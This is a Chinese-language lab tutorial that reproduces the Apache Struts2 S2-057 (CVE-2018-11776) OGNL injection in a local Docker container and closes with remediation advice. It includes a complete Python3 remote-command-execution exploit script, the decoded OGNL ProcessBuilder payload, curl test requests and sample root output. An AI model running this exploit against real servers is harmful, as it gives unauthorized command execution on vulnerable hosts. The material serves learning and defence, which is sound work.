CVE-2018-11776 Struts2 S2-057 从零到一复现教程:原理、环境搭建、配置触发与命令执行验证
面向新手的 CVE-2018-11776 / Apache Struts2 S2-057 本地复现教程,包含漏洞背景、Struts2 namespace 与 redirectAction 原理、Docker 靶场搭建、弱配置触发、PoC 检测、命令执行验证、常见问题和修复建议。
免责声明:本文仅用于本地靶场学习、CTF 训练和已授权安全研究。请勿对公网、生产环境或任何未授权资产进行扫描、验证、利用。文中所有演示默认只针对本机 Docker 容器
127.0.0.1。本文不会讲反弹 shell、持久化、提权、横向移动等攻击后利用内容。
写在前面
CVE-2018-11776 是 Apache Struts2 的一个经典远程代码执行漏洞,Struts 官方公告编号为 S2-057。
很多新手在学习 Struts2 漏洞时,会先接触到 S2-045、S2-046、S2-048 等漏洞。相比这些漏洞,S2-057 的理解门槛稍高一点,因为它不是简单地把 payload 放在某个请求头或参数中,而是和 Struts2 的 namespace 选择机制、redirectAction 结果类型、OGNL 表达式求值 以及 错误配置组合 有关。
一句话概括:
在特定 Struts2 版本和特定配置组合下,攻击者可以把 OGNL 表达式放进 URL path 的 namespace 位置,Struts2 在处理 action 跳转时错误求值该表达式,最终可能导致远程命令执行。
本文会从零开始,尽量用新手能理解的方式讲清楚:
- Struts2 是什么;
- CVE-2018-11776 / S2-057 是什么;
- namespace、action、result、redirectAction 分别是什么;
- 为什么 URL path 里的表达式会被执行;
- 如何用 Docker 搭建本地靶场;
- 如何修改
struts.xml制造漏洞触发条件; - 如何用 PoC 验证 OGNL 求值;
- 如何验证容器内命令执行;
- 如何理解命令执行 payload 的每一段;
- 如何修复和排查。
目录
- 1. 漏洞简介
- 2. 新手术语速查
- 3. 影响范围与触发条件
- 4. Struts2 基础:namespace、action、result
- 5. 漏洞原理:为什么 URL path 可以触发 OGNL
- 6. 实验环境准备
- 7. 使用 Docker 搭建本地靶场
- 8. 修改 struts.xml 制造弱配置
- 9. 验证 OGNL 表达式求值
- 10. 验证容器内命令执行
- 11. 命令执行 payload 逐段拆解
- 12. 从 HTTP 请求角度理解完整利用链
- 13. 常见问题排查
- 14. 修复建议
- 15. 清理实验环境
- 16. 总结
- 17. 参考链接
1. 漏洞简介
| 项目 | 内容 |
|---|---|
| CVE 编号 | CVE-2018-11776 |
| Struts 公告编号 | S2-057 |
| 漏洞类型 | 远程代码执行 / 远程命令执行 |
| 影响组件 | Apache Struts2 |
| 典型入口 | URL path 中的 namespace 部分 |
| 关键条件 | alwaysSelectFullNamespace 为 true,且 namespace / action / result 配置不完整 |
| 典型危害 | 攻击者可在目标服务器上执行系统命令 |
| 官方修复版本 | Struts 2.3.35 或 Struts 2.5.17 |
S2-057 的关键点不是某个单独函数出错,而是一组条件叠加后导致的表达式注入:
1
2
3
4
5
6
7
8
9
10
11
12
13
攻击者可控 URL path
↓
Struts2 把 path 的一部分当作 namespace
↓
配置项 alwaysSelectFullNamespace 为 true
↓
redirectAction 或 url tag 没有显式指定 namespace / action / value
↓
Struts2 在结果跳转过程中使用攻击者控制的 namespace
↓
namespace 中的 OGNL 表达式被求值
↓
造成 RCE
在本地复现实验中,我们会人为把 Struts2 showcase 应用改成弱配置,让漏洞稳定触发。
2. 新手术语速查
2.1 Apache Struts2
Struts2 是一个 Java Web MVC 框架。
可以简单理解为:
1
2
3
4
5
6
7
8
9
浏览器请求
↓
Struts2 根据 URL 找到对应 action
↓
action 执行业务逻辑
↓
result 决定返回哪个页面或跳转到哪个 action
↓
浏览器收到响应
例如用户访问:
1
/showcase.action
Struts2 会根据配置找到名为 showcase 的 action,然后返回相应页面。
2.2 Action
Action 是 Struts2 中处理请求的单位。
示例:
1
2
3
<action name="date" class="org.apache.struts2.showcase.DateAction" method="browse">
<result name="success">/date.jsp</result>
</action>
这段配置的意思是:
1
2
3
4
5
6
7
当用户访问 date.action 时
↓
调用 DateAction 类的 browse 方法
↓
如果返回 success
↓
渲染 /date.jsp
2.3 Namespace
namespace 可以理解为 action 的分组路径。
例如:
1
2
3
4
5
<package name="employee" extends="default" namespace="/employee">
<action name="list" class="xxx.EmployeeAction" method="list">
<result>/empmanager/listEmployees.jsp</result>
</action>
</package>
那么访问路径可能是:
1
/employee/list.action
其中:
1
2
3
/employee 是 namespace
list 是 action name
.action 是扩展名
如果 package 没有写 namespace,或者 namespace 是通配符,就容易让 Struts2 从请求 path 中推断 namespace。S2-057 正是和这个机制有关。
2.4 Result
action 执行完后,Struts2 要决定下一步做什么,这个下一步就由 result 决定。
常见 result 类型:
| result 类型 | 含义 |
|---|---|
| 普通 JSP result | 渲染某个 JSP 页面 |
| redirect | 直接重定向到某个 URL |
| redirectAction | 重定向到另一个 action |
| chain | 转发到另一个 action 链 |
本漏洞常见触发点之一是 redirectAction。
2.5 redirectAction
示例:
1
2
3
4
5
<action name="help">
<result type="redirectAction">
<param name="actionName">date.action</param>
</result>
</action>
它的意思是:
1
2
3
4
5
访问 help.action
↓
Struts2 返回一个 302 重定向
↓
浏览器跳转到 date.action
如果这里没有显式写 namespace,Struts2 可能会沿用当前请求的 namespace。
当当前请求的 namespace 可控,并且里面被放入 OGNL 表达式时,就可能出问题。
2.6 OGNL
OGNL 全称是 Object-Graph Navigation Language,是 Struts2 中常用的表达式语言。
简单表达式:
1
${2+2}
如果被当成 OGNL 表达式求值,结果就是:
1
4
危险表达式可以进一步调用 Java 类、方法,甚至创建进程。
这也是很多 Struts2 RCE 漏洞的共同基础:
1
用户输入被当成 OGNL 表达式执行
3. 影响范围与触发条件
根据 Apache Struts 官方 S2-057 公告,受影响版本包括:
1
2
Struts 2.0.4 到 Struts 2.3.34
Struts 2.5.0 到 Struts 2.5.16
官方建议升级到:
1
2
Struts 2.3.35
Struts 2.5.17
但是注意:
并不是所有使用受影响版本的 Struts2 应用都会直接触发 S2-057。
通常还需要满足配置条件。
3.1 关键条件一:alwaysSelectFullNamespace 为 true
配置项如下:
1
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
这个配置会让 Struts2 更倾向于从请求 URL 中选择完整 namespace。
如果 URL 是:
1
/${2+2}/help.action
Struts2 可能把:
1
/${2+2}
当成 namespace。
3.2 关键条件二:result 或 package 没有明确 namespace
例如下面这个 redirectAction 没有写 namespace:
1
2
3
4
5
<action name="help">
<result type="redirectAction">
<param name="actionName">date.action</param>
</result>
</action>
更安全的写法应该显式指定 namespace,例如:
1
2
3
4
5
6
<action name="help">
<result type="redirectAction">
<param name="namespace">/</param>
<param name="actionName">date.action</param>
</result>
</action>
3.3 关键条件三:攻击者能控制 URL path
攻击者构造:
1
/${2+2}/help.action
如果 Struts2 在 redirect 过程中求值了 ${2+2},响应的 Location 头里就可能出现:
1
/4/date.action
这说明服务端执行了表达式。
4. Struts2 基础:namespace、action、result
为了理解漏洞,我们先看一个正常 Struts2 配置片段。
1
2
3
4
5
6
7
8
9
<package name="default" extends="struts-default">
<action name="showcase">
<result>showcase.jsp</result>
</action>
<action name="date" class="org.apache.struts2.showcase.DateAction" method="browse">
<result name="success">/date.jsp</result>
</action>
</package>
这个配置中:
1
2
package name = default
namespace = 没有显式设置
因为 package 没有显式设置 namespace,所以它属于比较宽松的默认配置。
访问:
1
/showcase.action
会匹配:
1
action name = showcase
访问:
1
/date.action
会匹配:
1
action name = date
现在我们增加一个 help action:
1
2
3
4
5
<action name="help">
<result type="redirectAction">
<param name="actionName">date.action</param>
</result>
</action>
访问:
1
/help.action
Struts2 会返回 302,让浏览器跳转到:
1
/date.action
这本身没什么问题。
但是如果访问的是:
1
/${2+2}/help.action
并且 alwaysSelectFullNamespace 为 true,Struts2 可能把:
1
/${2+2}
当成当前 namespace。
当 redirectAction 没有明确 namespace 时,跳转结果可能继承这个 namespace。
于是 Struts2 在生成重定向地址时会处理这个 namespace,并触发 OGNL 求值。
这就是漏洞链条的核心。
5. 漏洞原理:为什么 URL path 可以触发 OGNL
5.1 正常请求流程
正常访问:
1
http://127.0.0.1:32771/help.action
流程大致是:
1
2
3
4
5
6
7
8
9
10
11
12
13
Tomcat 接收请求
↓
Struts2 解析请求路径
↓
找到 help.action
↓
执行 help action
↓
result 类型是 redirectAction
↓
生成跳转地址 date.action
↓
返回 302 响应
响应里会有类似:
1
2
HTTP/1.1 302 Found
Location: /date.action
5.2 恶意 namespace 请求流程
构造请求:
1
http://127.0.0.1:32771/${2+2}/help.action
流程变成:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Tomcat 接收请求
↓
Struts2 解析请求路径
↓
把 /${2+2} 识别为 namespace
↓
找到 help.action
↓
help action 使用 redirectAction
↓
redirectAction 没有显式 namespace
↓
沿用当前 namespace:/${2+2}
↓
生成跳转地址时对 namespace 做表达式处理
↓
${2+2} 被求值为 4
↓
返回 302 响应,Location 包含 /4/date.action
如果只是 ${2+2},危害只是计算结果变成 4。
但如果表达式变成调用 Java 类和方法,就可能执行系统命令。
5.3 为什么这是 RCE
OGNL 不只是简单计算数学表达式,它可以访问对象、调用方法,甚至构造 Java 对象。
攻击者最终希望达到类似 Java 代码的效果:
1
2
3
String[] cmds = new String[] {"bash", "-c", "id"};
ProcessBuilder p = new ProcessBuilder(cmds);
Process process = p.start();
如果这段逻辑通过 OGNL 表达式被 Struts2 执行,就变成了远程命令执行。
6. 实验环境准备
本文使用本地 Docker 复现。
6.1 推荐环境
| 工具 | 说明 |
|---|---|
| Linux | 推荐 Ubuntu、Debian、Arch、Kali 等 |
| Docker | 用于运行 Tomcat + Struts2 靶场 |
| Git | 用于拉取 PoC 仓库 |
| Python3 | 用于运行检测脚本 |
| curl | 用于手工观察 HTTP 响应 |
检查命令:
1
2
3
4
docker --version
git --version
python3 --version
curl --version
6.2 本文使用的 PoC 仓库
本文参考的仓库是:
1
https://github.com/hook-s3c/CVE-2018-11776-Python-PoC
仓库里包含:
1
2
3
4
5
Dockerfile
struts2-showcase-2.3.12.war
exploitS2-057-test.py
exploitS2-057-cmd.py
README.md
其中:
struts2-showcase-2.3.12.war是用于演示的 Struts2 showcase 应用;exploitS2-057-test.py用于检测 OGNL 是否被求值;exploitS2-057-cmd.py是 Python2 写法的命令执行 PoC。
如果你的系统只有 Python3,可以把 Python2 脚本改成 Python3,后文会给出一个本地实验版。
7. 使用 Docker 搭建本地靶场
7.1 克隆仓库
1
2
git clone https://github.com/hook-s3c/CVE-2018-11776-Python-PoC.git poc
cd poc
查看文件:
1
ls -lh
你应该能看到类似:
1
2
3
4
5
Dockerfile
README.md
exploitS2-057-cmd.py
exploitS2-057-test.py
struts2-showcase-2.3.12.war
7.2 构建 Docker 镜像
1
docker build -t cve-2018-11776-lab .
这个镜像主要做了几件事:
- 基于
tomcat:7; - 清空 Tomcat 默认 webapps;
- 把
struts2-showcase-2.3.12.war放到/usr/local/tomcat/webapps/ROOT.war; - 暴露 8080 端口。
Dockerfile 内容大致如下:
1
2
3
4
5
6
FROM tomcat:7
RUN set -ex \
&& rm -rf /usr/local/tomcat/webapps/* \
&& chmod a+x /usr/local/tomcat/bin/*.sh
COPY struts2-showcase-2.3.12.war /usr/local/tomcat/webapps/ROOT.war
EXPOSE 8080
7.3 启动容器
如果本机 8080 没被占用,可以使用:
1
docker run -d --name struts2-cve-2018-11776 -p 8080:8080 cve-2018-11776-lab
如果本机 8080 已经被占用,推荐映射到 32771:
1
docker run -d --name struts2-cve-2018-11776 -p 32771:8080 cve-2018-11776-lab
本文后续默认使用:
1
http://127.0.0.1:32771
查看容器状态:
1
docker ps --filter name=struts2-cve-2018-11776
7.4 等待 WAR 包解压
Tomcat 启动后会自动解压 ROOT.war。
检查 struts.xml 是否已经出现:
1
docker exec struts2-cve-2018-11776 test -f /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
如果没有输出且退出码为 0,说明文件存在。
也可以查看:
1
docker exec struts2-cve-2018-11776 ls -l /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
7.5 浏览器访问
打开:
1
http://127.0.0.1:32771/showcase.action
如果看到 Struts2 Showcase 页面,说明基础环境启动成功。
也可以用 curl:
1
curl -i http://127.0.0.1:32771/showcase.action
响应状态应该是:
1
HTTP/1.1 200 OK
8. 修改 struts.xml 制造弱配置
默认 showcase 应用不一定满足 S2-057 的触发条件,所以需要按照 PoC 仓库 README 中的思路修改配置。
目标文件在容器内:
1
/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
8.1 备份原始配置
1
docker exec struts2-cve-2018-11776 cp /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml.bak
8.2 查看配置文件结构
1
docker exec struts2-cve-2018-11776 sed -n '1,160p' /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
你会看到开头类似:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<struts>
<constant name="struts.i18n.reload" value="false" />
<constant name="struts.devMode" value="false" />
<constant name="struts.configuration.xml.reload" value="false" />
<constant name="struts.custom.i18n.resources" value="globalMessages" />
<constant name="struts.action.extension" value="action,," />
...
<package name="default" extends="struts-default">
...
</package>
</struts>
8.3 添加 alwaysSelectFullNamespace
在下面这一行后面:
1
<constant name="struts.action.extension" value="action,," />
添加:
1
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
修改后类似:
1
2
<constant name="struts.action.extension" value="action,," />
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
这个配置是触发 S2-057 的关键条件之一。
8.4 添加 help action
在默认 package 中,也就是:
1
<package name="default" extends="struts-default">
和它对应的:
1
</package>
之间,加入:
1
2
3
4
5
<action name="help">
<result type="redirectAction">
<param name="actionName">date.action</param>
</result>
</action>
注意这里故意没有写:
1
<param name="namespace">/</param>
这就是弱点所在。
8.5 使用命令自动打补丁
如果你不想手动编辑,可以在宿主机执行下面的命令自动修改容器内文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
docker exec struts2-cve-2018-11776 awk '
/<constant name="struts.action.extension"/ {
print
print " <constant name=\"struts.mapper.alwaysSelectFullNamespace\" value=\"true\" />"
next
}
/<\/package>/ && !done {
print " <action name=\"help\">"
print " <result type=\"redirectAction\">"
print " <param name=\"actionName\">date.action</param>"
print " </result>"
print " </action>"
done=1
}
{ print }
' /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml > /tmp/struts-cve-2018-11776.xml
docker cp /tmp/struts-cve-2018-11776.xml struts2-cve-2018-11776:/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
rm -f /tmp/struts-cve-2018-11776.xml
检查是否修改成功:
1
docker exec struts2-cve-2018-11776 grep -n 'alwaysSelectFullNamespace\|name="help"' /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
预期能看到类似:
1
2
16: <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
90: <action name="help">
8.6 重启容器
修改配置后重启:
1
docker restart struts2-cve-2018-11776
等待几秒后测试页面:
1
curl -i http://127.0.0.1:32771/showcase.action
如果返回 200,说明应用正常。
9. 验证 OGNL 表达式求值
漏洞利用前,先验证一个最简单的表达式:
1
${2+2}
9.1 手工访问测试
可以用 curl 查看响应头:
1
curl -i --path-as-is 'http://127.0.0.1:32771/${2+2}/help.action'
如果漏洞触发,响应可能是 302,并且 Location 里出现:
1
/4/date.action
重点不是页面内容,而是响应头:
1
2
HTTP/1.1 302 Found
Location: /4/date.action
这说明:
1
${2+2} 被服务端求值成了 4
如果没有漏洞,Location 通常不会出现计算结果。
9.2 使用 exploitS2-057-test.py
PoC 仓库提供了检测脚本:
1
python3 poc/exploitS2-057-test.py http://127.0.0.1:32771/showcase.action
脚本会随机生成两个数字,例如:
1
2
19059
94562
然后构造:
1
/${19059+94562}/help.action
如果服务端把表达式算出来,结果是:
1
113621
脚本检查 302 响应头中的 Location 是否包含这个结果。
成功时输出类似:
1
2
testing the url for exploit; http://127.0.0.1:32771/${19059+94562}/help.action
URL http://127.0.0.1:32771/showcase.action s2-057 CVE-2018-11776 is vulnerable!
这一步只证明 OGNL 表达式被执行,还不是完整命令执行。
9.3 检测脚本核心逻辑解释
脚本关键逻辑可以简化成:
1
2
3
4
5
6
7
8
9
10
r1 = random.randint(10000,99999)
r2 = random.randint(10000,99999)
r3 = r1 + r2
expr = '$' + '{' + str(r1) + '+' + str(r2) + '}'
urlTwo = scheme + '://' + netloc + '/' + expr + '/help.action'
res = requests.get(url=urlTwo, allow_redirects=False)
if res.status_code == 302 and str(r3) in res.headers.get('Location'):
print('vulnerable')
为什么用随机数?
因为如果固定用 ${2+2},有些误判场景也可能出现 4。随机大数字可以降低误判概率。
10. 验证容器内命令执行
仓库中的 exploitS2-057-cmd.py 是 Python2 写法。如果你环境没有 Python2,运行会报错:
1
SyntaxError: Missing parentheses in call to 'print'
可以写一个 Python3 版本用于本地靶场验证。
10.1 Python3 本地实验版 PoC
在 poc/ 目录下创建:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
cat > poc/exploitS2-057-cmd-py3.py <<'PY'
#!/usr/bin/env python3
import sys
import urllib.parse
import urllib.request
import http.client
def exploit(host, cmd):
print(f"[Execute]: {cmd}")
ognl_payload = "${"
ognl_payload += "(#_memberAccess['allowStaticMethodAccess']=true)."
ognl_payload += "(#cmd='%s')." % cmd.replace("'", "\\'")
ognl_payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
ognl_payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))."
ognl_payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
ognl_payload += "(#p.redirectErrorStream(true))."
ognl_payload += "(#process=#p.start())."
ognl_payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
ognl_payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
ognl_payload += "(#ros.flush())"
ognl_payload += "}"
if ':' not in host:
host = f"{host}:8080"
encoded = urllib.parse.quote_plus(ognl_payload)
path = encoded.replace('+', '%20').replace(' ', '%20').replace('%2F', '/')
url = f"http://{host}/{path}/help.action"
print(f"[Url]: {url}\n")
try:
with urllib.request.urlopen(url, timeout=15) as response:
data = response.read()
except http.client.IncompleteRead as e:
data = e.partial
print(data.decode('utf-8', errors='replace'))
if __name__ == '__main__':
if len(sys.argv) < 3:
sys.exit(f'Usage: {sys.argv[0]} <host:port> <cmd>')
exploit(sys.argv[1], sys.argv[2])
PY
chmod +x poc/exploitS2-057-cmd-py3.py
这个脚本只用于本地实验。不要拿它测试未授权目标。
10.2 执行 id 命令
1
python3 poc/exploitS2-057-cmd-py3.py 127.0.0.1:32771 'id'
成功时输出类似:
1
2
3
4
[Execute]: id
[Url]: http://127.0.0.1:32771/很长的编码后payload/help.action
uid=0(root) gid=0(root) groups=0(root)
这里的 root 是 Docker 容器内部 root,不是宿主机 root。
10.3 执行 pwd 命令
1
python3 poc/exploitS2-057-cmd-py3.py 127.0.0.1:32771 'pwd'
可能输出:
1
/usr/local/tomcat
这说明命令是在 Tomcat 进程所在目录中执行的。
10.4 执行 whoami 命令
1
python3 poc/exploitS2-057-cmd-py3.py 127.0.0.1:32771 'whoami'
可能输出:
1
root
再次强调,这是容器内用户。
11. 命令执行 payload 逐段拆解
为了便于理解,把核心 OGNL payload 展开成伪格式:
1
2
3
4
5
6
7
8
9
10
11
12
${
(#_memberAccess['allowStaticMethodAccess']=true).
(#cmd='id').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())
}
下面逐段解释。
11.1 外层表达式
1
${ ... }
$ 加花括号表示表达式。
在漏洞环境中,这个表达式被放在 URL namespace 位置:
1
/${payload}/help.action
Struts2 在生成 redirectAction 跳转地址时错误求值它。
11.2 开启静态方法访问
1
(#_memberAccess['allowStaticMethodAccess']=true)
作用是允许 OGNL 调用 Java 静态方法。
后面会用到:
1
2
3
@java.lang.System@getProperty(...)
@org.apache.struts2.ServletActionContext@getResponse()
@org.apache.commons.io.IOUtils@copy(...)
如果静态方法访问被限制,payload 可能无法继续。
11.3 保存要执行的命令
1
(#cmd='id')
这里把系统命令保存到 OGNL 变量 #cmd 中。
如果你执行:
1
python3 poc/exploitS2-057-cmd-py3.py 127.0.0.1:32771 'pwd'
那么这一段就相当于:
1
#cmd = 'pwd'
11.4 判断操作系统类型
1
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))
等价于 Java 逻辑:
1
System.getProperty("os.name").toLowerCase().contains("win")
如果系统名包含 win,就认为是 Windows。
Docker 里的 Tomcat 通常是 Linux,所以这里一般为 false。
11.5 构造命令数组
1
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))
这是一个三元表达式。
如果是 Windows,命令数组是:
1
{'cmd.exe','/c',#cmd}
相当于:
cmd.exe /c id
如果是 Linux,命令数组是:
1
{'bash','-c',#cmd}
相当于:
1
bash -c id
本实验走的是 Linux 分支。
11.6 创建 ProcessBuilder
1
(#p=new java.lang.ProcessBuilder(#cmds))
等价于 Java:
1
ProcessBuilder p = new ProcessBuilder(cmds);
ProcessBuilder 是 Java 中用于创建系统进程的类。
这一步还没有真正执行命令,只是准备进程对象。
11.7 合并标准错误
1
(#p.redirectErrorStream(true))
等价于 Java:
1
p.redirectErrorStream(true);
作用:
1
把 stderr 合并到 stdout
这样命令如果报错,错误信息也能返回到 HTTP 响应里。
11.8 启动进程
1
(#process=#p.start())
等价于 Java:
1
Process process = p.start();
这一步是真正执行系统命令。
例如:
1
bash -c id
11.9 获取 HTTP 响应输出流
1
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))
等价于 Java:
1
OutputStream ros = ServletActionContext.getResponse().getOutputStream();
作用是拿到当前 HTTP response 的输出流。
攻击者希望把命令执行结果写回浏览器或 PoC 客户端,就需要这个输出流。
11.10 复制命令输出到 HTTP 响应
1
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))
等价于 Java:
1
IOUtils.copy(process.getInputStream(), ros);
process.getInputStream() 是命令执行结果。
ros 是 HTTP 响应输出流。
这一步相当于:
1
把命令输出写入 HTTP 响应
所以终端能看到:
1
uid=0(root) gid=0(root) groups=0(root)
11.11 刷新输出流
1
(#ros.flush())
作用是刷新响应流,确保输出返回给客户端。
11.12 为什么要 URL 编码
payload 中包含很多特殊字符,例如:
1
$ { } # @ ' " 空格 / , : ?
这些字符直接放进 URL 可能被浏览器、代理、服务器错误解析。
所以脚本会先进行 URL 编码。
例如:
| 原字符 | URL 编码 |
|---|---|
$ | %24 |
{ | %7B |
} | %7D |
# | %23 |
@ | %40 |
| 空格 | %20 |
最终请求路径会变得很长,例如:
1
/%24%7B%28%23_memberAccess...%7D/help.action
这不是乱码,而是浏览器和服务器都能识别的 URL 编码形式。
12. 从 HTTP 请求角度理解完整利用链
12.1 第一步:访问正常页面
1
curl -i http://127.0.0.1:32771/showcase.action
响应:
1
2
HTTP/1.1 200 OK
Content-Type: text/html;charset=ISO-8859-1
说明 Struts2 应用正常运行。
12.2 第二步:发送表达式检测请求
1
curl -i --path-as-is 'http://127.0.0.1:32771/${2+2}/help.action'
漏洞存在时,响应类似:
1
2
HTTP/1.1 302 Found
Location: /4/date.action
关键证据:
1
2+2 被算成 4
12.3 第三步:发送命令执行请求
PoC 构造的 URL 逻辑如下:
1
http://127.0.0.1:32771/编码后的OGNL命令执行表达式/help.action
服务端执行流程:
1
2
3
4
5
6
7
8
9
解析 namespace
↓
触发 OGNL 求值
↓
调用 ProcessBuilder
↓
执行 id
↓
把输出写入 HTTP response
客户端看到:
1
uid=0(root) gid=0(root) groups=0(root)
12.4 为什么响应可能出现 Response ended prematurely
有时使用 requests.get() 读取响应时,会出现类似:
1
ChunkedEncodingError: Response ended prematurely
原因是命令执行 payload 直接操作了 response 输出流,可能打断 Struts2/Tomcat 原本的响应流程,导致客户端认为 chunked 响应不完整。
解决方式:
- 使用
urllib.request并捕获http.client.IncompleteRead; - 或者只读取已返回的 partial 数据;
- 不把这个现象误判为漏洞失败。
只要已经拿到命令输出,例如 uid=0(root),就说明命令执行成功。
13. 常见问题排查
13.1 访问页面失败
现象:
1
curl: Failed to connect to 127.0.0.1 port 32771
检查容器是否运行:
1
docker ps --filter name=struts2-cve-2018-11776
如果没有运行,启动:
1
docker start struts2-cve-2018-11776
如果容器不存在,重新运行:
1
docker run -d --name struts2-cve-2018-11776 -p 32771:8080 cve-2018-11776-lab
13.2 端口被占用
现象:
1
Bind for 0.0.0.0:8080 failed: port is already allocated
查看端口:
1
ss -ltnp | grep ':8080'
换一个端口,例如 32771:
1
docker run -d --name struts2-cve-2018-11776 -p 32771:8080 cve-2018-11776-lab
访问时也要改成:
1
http://127.0.0.1:32771/showcase.action
13.3 struts.xml 不存在
Tomcat 刚启动时 WAR 包可能还没解压完成。
等待几秒再执行:
1
docker exec struts2-cve-2018-11776 ls /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
也可以看日志:
1
docker logs -f struts2-cve-2018-11776
看到 Tomcat started 之类的日志后再操作。
13.4 检测脚本显示 not vulnerable
可能原因:
- 没有添加
alwaysSelectFullNamespace=true; - 没有添加
helpaction; - 添加的位置不在默认 package 内;
- 修改后没有重启 Tomcat;
- 访问端口写错;
- 请求被浏览器或代理改写。
建议检查:
1
docker exec struts2-cve-2018-11776 grep -n 'alwaysSelectFullNamespace\|name="help"' /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
然后重启:
1
docker restart struts2-cve-2018-11776
再测试:
1
python3 poc/exploitS2-057-test.py http://127.0.0.1:32771/showcase.action
13.5 Python2 脚本运行失败
仓库原始命令执行 PoC 是 Python2 风格。
如果你用 Python3 运行,可能报:
1
SyntaxError: Missing parentheses in call to 'print'
解决方法:
- 安装 Python2 后用 Python2 运行;
- 或使用本文提供的 Python3 版本。
推荐新手使用 Python3 版本,因为当前大多数系统默认不再安装 Python2。
13.6 curl 请求中表达式没有原样发送
curl 有时会对 URL 做规范化处理。
建议加:
1
--path-as-is
例如:
1
curl -i --path-as-is 'http://127.0.0.1:32771/${2+2}/help.action'
同时建议用单引号包住 URL,避免 shell 对特殊字符做解释。
13.7 命令执行没有输出
可能原因:
- 命令本身没有输出;
- 命令不存在;
- payload 编码被改坏;
- 目标不是 Linux,但走了 Linux 命令分支;
- 响应流中断导致客户端没完整读取。
建议先测试简单命令:
1
2
3
python3 poc/exploitS2-057-cmd-py3.py 127.0.0.1:32771 'id'
python3 poc/exploitS2-057-cmd-py3.py 127.0.0.1:32771 'pwd'
python3 poc/exploitS2-057-cmd-py3.py 127.0.0.1:32771 'whoami'
不要一开始就测试复杂命令。
14. 修复建议
14.1 升级 Struts2
官方推荐升级到:
1
2
Struts 2.3.35
Struts 2.5.17
这是最重要的修复方式。
如果项目仍在使用更老版本,例如:
1
2
3
4
5
2.3.12
2.3.20
2.3.31
2.5.10
2.5.16
应优先评估升级。
14.2 不要开启不必要的 alwaysSelectFullNamespace
检查配置:
1
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
如果业务不需要,应关闭或删除。
更安全的配置:
1
<constant name="struts.mapper.alwaysSelectFullNamespace" value="false" />
14.3 明确设置 package namespace
不推荐 package 缺省 namespace 或使用过于宽松的通配符 namespace。
较安全的做法:
1
2
3
<package name="default" extends="struts-default" namespace="/">
...
</package>
或者按业务模块设置明确 namespace:
1
2
3
<package name="employee" extends="struts-default" namespace="/employee">
...
</package>
14.4 redirectAction 显式设置 namespace
弱配置:
1
2
3
4
5
<action name="help">
<result type="redirectAction">
<param name="actionName">date.action</param>
</result>
</action>
更安全的配置:
1
2
3
4
5
6
<action name="help">
<result type="redirectAction">
<param name="namespace">/</param>
<param name="actionName">date.action</param>
</result>
</action>
核心原则:
1
不要让 redirectAction 继承用户可控 namespace
14.5 检查 JSP 中的 url tag
官方公告还提到一种场景:
1
2
url tag 没有设置 value 和 action
同时上层 package 没有 namespace 或使用 wildcard namespace
因此要排查 JSP 中类似 Struts 标签的使用方式,确保必要属性明确设置。
14.6 加强运行时权限
即使 Web 层出现 RCE,也要降低影响面:
- Tomcat 不要以 root 运行;
- 容器不要挂载敏感宿主机目录;
- 容器使用只读文件系统或最小权限;
- 限制出网;
- 配置 WAF 或网关拦截明显 OGNL payload;
- 对异常 302、URL 中
${、%24%7B、_memberAccess等特征做日志告警。
注意:WAF 只能缓解,不能替代升级修复。
15. 清理实验环境
停止并删除容器:
1
docker rm -f struts2-cve-2018-11776
可选删除镜像:
1
docker rmi cve-2018-11776-lab
可选删除 PoC 目录:
1
rm -rf poc
如果你还要继续学习,建议保留 poc/,下次可以直接启动。
16. 总结
CVE-2018-11776 / S2-057 的核心不是单纯的某个参数注入,而是 Struts2 的几个机制组合后产生的表达式注入:
1
2
3
4
5
6
7
8
9
10
11
12
13
URL path 可控 namespace
↓
alwaysSelectFullNamespace=true
↓
redirectAction 或 url tag 配置不完整
↓
Struts2 在跳转过程中使用攻击者控制的 namespace
↓
namespace 中的 OGNL 表达式被求值
↓
调用 Java ProcessBuilder
↓
命令执行
对新手来说,理解这个漏洞最重要的是分清楚三层:
- 路由层:Struts2 如何根据 URL 找 namespace 和 action;
- 配置层:为什么缺省 namespace 和 redirectAction 会引入风险;
